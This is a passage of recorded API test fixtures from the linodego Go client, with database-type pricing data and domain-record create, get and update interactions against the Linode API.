0.27, "monthly": 180.0}}]}, "memory": 4096, "disk": 81920, "vcpus": 2, "class": "standard"}, {"id": "g6-standard-4", "label": "DBaaS - Linode 8GB", "engines": {"mysql": [{"quantity": 1, "price": {"hourly": 0.18, "monthly": 120.0}}, {"quantity": 2, "price": {"hourly": 0.3, "monthly": 200.0}}, {"quantity": 3, "price": {"hourly": 0.42, "monthly": 280.0}}], "postgresql": [{"quantity": 1, "price": {"hourly": 0.18, "monthly": 120.0}}, {"quantity": 2, "price": {"hourly": 0.3, "monthly": 200.0}}, {"quantity": 3, "price": {"hourly": 0.42, "monthly": 280.0}}], "mongodb": [{"quantity": 1, "price": {"hourly": 0.18, "monthly": 120.0}}, {"quantity": 2, "price": {"hourly": 0.36, "monthly": 240.0}}, {"quantity": 3, "price": {"hourly": 0.54, "monthly": 360.0}}]}, "memory": 8192, "disk": 163840, "vcpus": 4, "class": "standard"}, {"id": "g6-standard-6", "label": "DBaaS - Linode 16GB", "engines": {"mysql": [{"quantity": 1, "price": {"hourly": 0.36, "monthly": 240.0}}, {"quantity": 2, "price": {"hourly": 0.6, "monthly": 400.0}}, {"quantity": 3, "price": {"hourly": 0.84, "monthly": 560.0}}], "postgresql": [{"quantity": 1, "price": {"hourly": 0.36, "monthly": 240.0}}, {"quantity": 2, "price": {"hourly": 0.6, "monthly": 400.0}}, {"quantity": 3, "price": {"hourly": 0.84, "monthly": 560.0}}], "mongodb": [{"quantity": 1, "price": {"hourly": 0.36, "monthly": 240.0}}, {"quantity": 2, "price": {"hourly": 0.72, "monthly": 480.0}}, {"quantity": 3, "price": {"hourly": 1.08, "monthly": 720.0}}]}, "memory": 16384, "disk": 327680, "vcpus": 6, "class": "standard"}, {"id": "g6-standard-8", "label": "DBaaS - Linode 32GB", "engines": {"mysql": [{"quantity": 1, "price": {"hourly": 0.72, "monthly": 480.0}}, {"quantity": 2, "price": {"hourly": 1.2, "monthly": 800.0}}, {"quantity": 3, "price": {"hourly": 1.68, "monthly": 1120.0}}], "postgresql": [{"quantity": 1, "price": {"hourly": 0.72, "monthly": 480.0}}, {"quantity": 2, "price": {"hourly": 1.2, "monthly": 800.0}}, {"quantity": 3, "price": {"hourly": 1.68, "monthly": 1120.0}}], "mongodb": [{"quantity": 1, "price": {"hourly": 0.72, "monthly": 480.0}}, {"quantity": 2, "price": {"hourly": 1.44, "monthly": 960.0}}, {"quantity": 3, "price": {"hourly": 2.16, "monthly": 1440.0}}]}, "memory": 32768, "disk": 655360, "vcpus": 8, "class": "standard"}, {"id": "g6-standard-16", "label": "DBaaS - Linode 64GB", "engines": {"mysql": [{"quantity": 1, "price": {"hourly": 1.44, "monthly": 960.0}}, {"quantity": 2, "price": {"hourly": 2.4, "monthly": 1600.0}}, {"quantity": 3, "price": {"hourly": 3.336, "monthly": 2224.0}}], "postgresql": [{"quantity": 1, "price": {"hourly": 1.44, "monthly": 960.0}}, {"quantity": 2, "price": {"hourly": 2.4, "monthly": 1600.0}}, {"quantity": 3, "price": {"hourly": 3.336, "monthly": 2224.0}}], "mongodb": [{"quantity": 1, "price": {"hourly": 1.44, "monthly": 960.0}}, {"quantity": 2, "price": {"hourly": 2.88, "monthly": 1920.0}}, {"quantity": 3, "price": {"hourly": 4.32, "monthly": 2880.0}}]}, "memory": 65536, "disk": 1310720, "vcpus": 16, "class": "standard"}, {"id": "g6-standard-20", "label": "DBaaS - Linode 96GB", "engines": {"mysql": [{"quantity": 1, "price": {"hourly": 2.16, "monthly": 1440.0}}, {"quantity": 2, "price": {"hourly": 3.6, "monthly": 2400.0}}, {"quantity": 3, "price": {"hourly": 5.04, "monthly": 3360.0}}], "postgresql": [{"quantity": 1, "price": {"hourly": 2.16, "monthly": 1440.0}}, {"quantity": 2, "price": {"hourly": 3.6, "monthly": 2400.0}}, {"quantity": 3, "price": {"hourly": 5.04, "monthly": 3360.0}}], "mongodb": [{"quantity": 1, "price": {"hourly": 2.16, "monthly": 1440.0}}, {"quantity": 2, "price": {"hourly": 4.32, "monthly": 2880.0}}, {"quantity": 3, "price": {"hourly": 6.48, "monthly": 4320.0}}]}, "memory": 98304, "disk": 1966080, "vcpus": 20, "class": "standard"}, {"id": "g6-standard-24", "label": "DBaaS - Linode 128GB", "engines": {"mysql": [{"quantity": 1, "price": {"hourly": 2.88, "monthly": 1920.0}}, {"quantity": 2, "price": {"hourly": 4.8, "monthly": 3200.0}}, {"quantity": 3, "price": {"hourly": 6.72, "monthly": 4480.0}}], "postgresql": [{"quantity": 1, "price": {"hourly": 2.88, "monthly": 1920.0}}, {"quantity": 2, "price": {"hourly": 4.8, "monthly": 3200.0}}, {"quantity": 3, "price": {"hourly": 6.72, "monthly": 4480.0}}], "mongodb": [{"quantity": 1, "price": {"hourly": 2.88, "monthly": 1920.0}}, {"quantity": 2, "price": {"hourly": 5.76, "monthly": 3840.0}}, {"quantity": 3, "price": {"hourly": 8.64, "monthly": 5760.0}}]}, "memory": 131072, "disk": 2621440, "vcpus": 24, "class": "standard"}, {"id": "g6-standard-32", "label": "DBaaS - Linode 192GB", "engines": {"mysql": [{"quantity": 1, "price": {"hourly": 4.32, "monthly": 2880.0}}, {"quantity": 2, "price": {"hourly": 7.2, "monthly": 4800.0}}, {"quantity": 3, "price": {"hourly": 10.08, "monthly": 6720.0}}], "postgresql": [{"quantity": 1, "price": {"hourly": 4.32, "monthly": 2880.0}}, {"quantity": 2, "price": {"hourly": 7.2, "monthly": 4800.0}}, {"quantity": 3, "price": {"hourly": 10.08, "monthly": 6720.0}}], "mongodb": [{"quantity": 1, "price": {"hourly": 4.32, "monthly": 2880.0}}, {"quantity": 2, "price": {"hourly": 8.64, "monthly": 5760.0}}, {"quantity": 3, "price": {"hourly": 12.96, "monthly": 8640.0}}]}, "memory": 196608, "disk": 3932160, "vcpus": 32, "class": "standard"}, {"id": "g6-dedicated-2", "label": "DBaaS - Dedicated 4GB", "engines": {"mysql": [{"quantity": 1, "price": {"hourly": 0.0975, "monthly": 65.0}}, {"quantity": 2, "price": {"hourly": 0.195, "monthly": 130.0}}, {"quantity": 3, "price": {"hourly": 0.2925, "monthly": 195.0}}], "postgresql": [{"quantity": 1, "price": {"hourly": 0.0975, "monthly": 65.0}}, {"quantity": 2, "price": {"hourly": 0.195, "monthly": 130.0}}, {"quantity": 3, "price": {"hourly": 0.2925, "monthly": 195.0}}], "mongodb": [{"quantity": 1, "price": {"hourly": 0.0975, "monthly": 65.0}}, {"quantity": 2, "price": {"hourly": 0.195, "monthly": 130.0}}, {"quantity": 3, "price": {"hourly": 0.2925, "monthly": 195.0}}]}, "memory": 4096, "disk": 81920, "vcpus": 2, "class": "dedicated"}, {"id": "g6-dedicated-4", "label": "DBaaS - Dedicated 8GB", "engines": {"mysql": [{"quantity": 1, "price": {"hourly": 0.195, "monthly": 130.0}}, {"quantity": 2, "price": {"hourly": 0.39, "monthly": 260.0}}, {"quantity": 3, "price": {"hourly": 0.585, "monthly": 390.0}}], "postgresql": [{"quantity": 1, "price": {"hourly": 0.195, "monthly": 130.0}}, {"quantity": 2, "price": {"hourly": 0.39, "monthly": 260.0}}, {"quantity": 3, "price": {"hourly": 0.585, "monthly": 390.0}}], "mongodb": [{"quantity": 1, "price": {"hourly": 0.195, "monthly": 130.0}}, {"quantity": 2, "price": {"hourly": 0.39, "monthly": 260.0}}, {"quantity": 3, "price": {"hourly": 0.585, "monthly": 390.0}}]}, "memory": 8192, "disk": 163840, "vcpus": 4, "class": "dedicated"}, {"id": "g6-dedicated-8", "label": "DBaaS - Dedicated 16GB", "engines": {"mysql": [{"quantity": 1, "price": {"hourly": 0.39, "monthly": 260.0}}, {"quantity": 2, "price": {"hourly": 0.78, "monthly": 520.0}}, {"quantity": 3, "price": {"hourly": 1.17, "monthly": 780.0}}], "postgresql": [{"quantity": 1, "price": {"hourly": 0.39, "monthly": 260.0}}, {"quantity": 2, "price": {"hourly": 0.78, "monthly": 520.0}}, {"quantity": 3, "price": {"hourly": 1.17, "monthly": 780.0}}], "mongodb": [{"quantity": 1, "price": {"hourly": 0.39, "monthly": 260.0}}, {"quantity": 2, "price": {"hourly": 0.78, "monthly": 520.0}}, {"quantity": 3, "price": {"hourly": 1.17, "monthly": 780.0}}]}, "memory": 16384, "disk": 327680, "vcpus": 6, "class": "dedicated"}, {"id": "g6-dedicated-16", "label": "DBaaS - Dedicated 32GB", "engines": {"mysql": [{"quantity": 1, "price": {"hourly": 0.78, "monthly": 520.0}}, {"quantity": 2, "price": {"hourly": 1.56, "monthly": 1040.0}}, {"quantity": 3, "price": {"hourly": 2.34, "monthly": 1560.0}}], "postgresql": [{"quantity": 1, "price": {"hourly": 0.78, "monthly": 520.0}}, {"quantity": 2, "price": {"hourly": 1.56, "monthly": 1040.0}}, {"quantity": 3, "price": {"hourly": 2.34, "monthly": 1560.0}}], "mongodb": [{"quantity": 1, "price": {"hourly": 0.78, "monthly": 520.0}}, {"quantity": 2, "price": {"hourly": 1.56, "monthly": 1040.0}}, {"quantity": 3, "price": {"hourly": 2.34, "monthly": 1560.0}}]}, "memory": 32768, "disk": 655360, "vcpus": 8, "class": "dedicated"}, {"id": "g6-dedicated-32", "label": "DBaaS - Dedicated 64GB", "engines": {"mysql": [{"quantity": 1, "price": {"hourly": 1.56, "monthly": 1040.0}}, {"quantity": 2, "price": {"hourly": 3.12, "monthly": 2080.0}}, {"quantity": 3, "price": {"hourly": 4.68, "monthly": 3120.0}}], "postgresql": [{"quantity": 1, "price": {"hourly": 1.56, "monthly": 1040.0}}, {"quantity": 2, "price": {"hourly": 3.12, "monthly": 2080.0}}, {"quantity": 3, "price": {"hourly": 4.68, "monthly": 3120.0}}], "mongodb": [{"quantity": 1, "price": {"hourly": 1.56, "monthly": 1040.0}}, {"quantity": 2, "price": {"hourly": 3.12, "monthly": 2080.0}}, {"quantity": 3, "price": {"hourly": 4.68, "monthly": 3120.0}}]}, "memory": 65536, "disk": 1310720, "vcpus": 16, "class": "dedicated"}, {"id": "g6-dedicated-48", "label": "DBaaS - Dedicated 96GB", "engines": {"mysql": [{"quantity": 1, "price": {"hourly": 2.34, "monthly": 1560.0}}, {"quantity": 2, "price": {"hourly": 4.68, "monthly": 3120.0}}, {"quantity": 3, "price": {"hourly": 7.02, "monthly": 4680.0}}], "postgresql": [{"quantity": 1, "price": {"hourly": 2.34, "monthly": 1560.0}}, {"quantity": 2, "price": {"hourly": 4.68, "monthly": 3120.0}}, {"quantity": 3, "price": {"hourly": 7.02, "monthly": 4680.0}}], "mongodb": [{"quantity": 1, "price": {"hourly": 2.34, "monthly": 1560.0}}, {"quantity": 2, "price": {"hourly": 4.68, "monthly": 3120.0}}, {"quantity": 3, "price": {"hourly": 7.02, "monthly": 4680.0}}]}, "memory": 98304, "disk": 1966080, "vcpus": 20, "class": "dedicated"}, {"id": "g6-dedicated-50", "label": "DBaaS - Dedicated 128GB", "engines": {"mysql": [{"quantity": 1, "price": {"hourly": 3.12, "monthly": 2080.0}}, {"quantity": 2, "price": {"hourly": 6.24, "monthly": 4160.0}}, {"quantity": 3, "price": {"hourly": 9.36, "monthly": 6240.0}}], "postgresql": [{"quantity": 1, "price": {"hourly": 3.12, "monthly": 2080.0}}, {"quantity": 2, "price": {"hourly": 6.24, "monthly": 4160.0}}, {"quantity": 3, "price": {"hourly": 9.36, "monthly": 6240.0}}], "mongodb": [{"quantity": 1, "price": {"hourly": 3.12, "monthly": 2080.0}}, {"quantity": 2, "price": {"hourly": 6.24, "monthly": 4160.0}}, {"quantity": 3, "price": {"hourly": 9.36, "monthly": 6240.0}}]}, "memory": 131072, "disk": 2560000, "vcpus": 50, "class": "dedicated"}, {"id": "g6-dedicated-56", "label": "DBaaS - Dedicated 256GB", "engines": {"mysql": [{"quantity": 1, "price": {"hourly": 6.24, "monthly": 4160.0}}, {"quantity": 2, "price": {"hourly": 12.48, "monthly": 8320.0}}, {"quantity": 3, "price": {"hourly": 18.72, "monthly": 12480.0}}], "postgresql": [{"quantity": 1, "price": {"hourly": 6.24, "monthly": 4160.0}}, {"quantity": 2, "price": {"hourly": 12.48, "monthly": 8320.0}}, {"quantity": 3, "price": {"hourly": 18.72, "monthly": 12480.0}}], "mongodb": [{"quantity": 1, "price": {"hourly": 6.24, "monthly": 4160.0}}, {"quantity": 2, "price": {"hourly": 12.48, "monthly": 8320.0}}, {"quantity": 3, "price": {"hourly": 18.72, "monthly": 12480.0}}]}, "memory": 262144, "disk": 5120000, "vcpus": 56, "class": "dedicated"}, {"id": "g6-dedicated-64", "label": "DBaaS - Dedicated 512GB", "engines": {"mysql": [{"quantity": 1, "price": {"hourly": 12.48, "monthly": 8320.0}}, {"quantity": 2, "price": {"hourly": 24.96, "monthly": 16640.0}}, {"quantity": 3, "price": {"hourly": 37.44, "monthly": 24960.0}}], "postgresql": [{"quantity": 1, "price": {"hourly": 12.48, "monthly": 8320.0}}, {"quantity": 2, "price": {"hourly": 24.96, "monthly": 16640.0}}, {"quantity": 3, "price": {"hourly": 37.44, "monthly": 24960.0}}], "mongodb": [{"quantity": 1, "price": {"hourly": 12.48, "monthly": 8320.0}}, {"quantity": 2, "price": {"hourly": 24.96, "monthly": 16640.0}}, {"quantity": 3, "price": {"hourly": 37.44, "monthly": 24960.0}}]}, "memory": 524288, "disk": 7372800, "vcpus": 64, "class": "dedicated"}]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/types/g6-nanode-1 method: GET response: body: '{"id": "g6-nanode-1", "label": "DBaaS - Nanode 1GB", "engines": {"mysql": [{"quantity": 1, "price": {"hourly": 0.0225, "monthly": 15.0}}, {"quantity": 2, "price": {"hourly": 0.0375, "monthly": 25.0}}, {"quantity": 3, "price": {"hourly": 0.0525, "monthly": 35.0}}], "postgresql": [{"quantity": 1, "price": {"hourly": 0.0225, "monthly": 15.0}}, {"quantity": 2, "price": {"hourly": 0.0375, "monthly": 25.0}}, {"quantity": 3, "price": {"hourly": 0.0525, "monthly": 35.0}}], "mongodb": [{"quantity": 1, "price": {"hourly": 0.0225, "monthly": 15.0}}, {"quantity": 2, "price": {"hourly": 0.045, "monthly": 30.0}}, {"quantity": 3, "price": {"hourly": 0.0675, "monthly": 45.0}}]}, "memory": 1024, "disk": 25600, "vcpus": 1, "class": "nanode"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "733" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestDomainRecord_Create.yaml000066400000000000000000000142441455402072200321350ustar00rootroot00000000000000--- version: 1 interactions: - request: body: '{"domain":"linodego-blue-test.com","type":"master","soa_email":"example@example.com","master_ips":null,"axfr_ips":null,"tags":null}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/domains method: POST response: body: '{"id": 1899359, "type": "master", "domain": "linodego-blue-test.com", "tags": [], "group": "", "status": "active", "errors": "", "description": "", "soa_email": "example@example.com", "retry_sec": 0, "master_ips": [], "axfr_ips": [], "expire_sec": 0, "refresh_sec": 0, "ttl_sec": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "350" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - domains:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"type":"A","name":"a","target":"127.0.0.1"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/domains/1899359/records method: POST response: body: '{"id": 22122783, "type": "A", "name": "a", "target": "127.0.0.1", "priority": 0, "weight": 0, "port": 0, "service": null, "protocol": null, "ttl_sec": 0, "tag": null, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "234" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - domains:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/domains/1899359/records/22122783 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - domains:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/domains/1899359 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - domains:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestDomainRecord_Get.yaml000066400000000000000000000175321455402072200314540ustar00rootroot00000000000000--- version: 1 interactions: - request: body: '{"domain":"linodego-blue-test.com","type":"master","soa_email":"example@example.com","master_ips":null,"axfr_ips":null,"tags":null}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/domains method: POST response: body: '{"id": 1899363, "type": "master", "domain": "linodego-blue-test.com", "tags": [], "group": "", "status": "active", "errors": "", "description": "", "soa_email": "example@example.com", "retry_sec": 0, "master_ips": [], "axfr_ips": [], "expire_sec": 0, "refresh_sec": 0, "ttl_sec": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "350" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - domains:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"type":"A","name":"a","target":"127.0.0.1"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/domains/1899363/records method: POST response: body: '{"id": 22122788, "type": "A", "name": "a", "target": "127.0.0.1", "priority": 0, "weight": 0, "port": 0, "service": null, "protocol": null, "ttl_sec": 0, "tag": null, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "234" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - domains:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/domains/1899363/records/22122788 method: GET response: body: '{"id": 22122788, "type": "A", "name": "a", "target": "127.0.0.1", "priority": 0, "weight": 0, "port": 0, "service": null, "protocol": null, "ttl_sec": 0, "tag": null, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "234" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - domains:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/domains/1899363/records/22122788 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - domains:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/domains/1899363 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - domains:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestDomainRecord_Update.yaml000066400000000000000000000174301455402072200321540ustar00rootroot00000000000000--- version: 1 interactions: - request: body: '{"domain":"linodego-blue-test.com","type":"master","soa_email":"example@example.com","master_ips":null,"axfr_ips":null,"tags":null}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/domains method: POST response: body: '{"id": 1899360, "type": "master", "domain": "linodego-blue-test.com", "tags": [], "group": "", "status": "active", "errors": "", "description": "", "soa_email": "example@example.com", "retry_sec": 0, "master_ips": [], "axfr_ips": [], "expire_sec": 0, "refresh_sec": 0, "ttl_sec": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "350" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - domains:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"type":"A","name":"a","target":"127.0.0.1"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/domains/1899360/records method: POST response: body: '{"id": 22122785, "type": "A", "name": "a", "target": "127.0.0.1", "priority": 0, "weight": 0, "port": 0, "service": null, "protocol": null, "ttl_sec": 0, "tag": null, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "234" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - domains:read_write X-Content-Type-Options: - nosniff 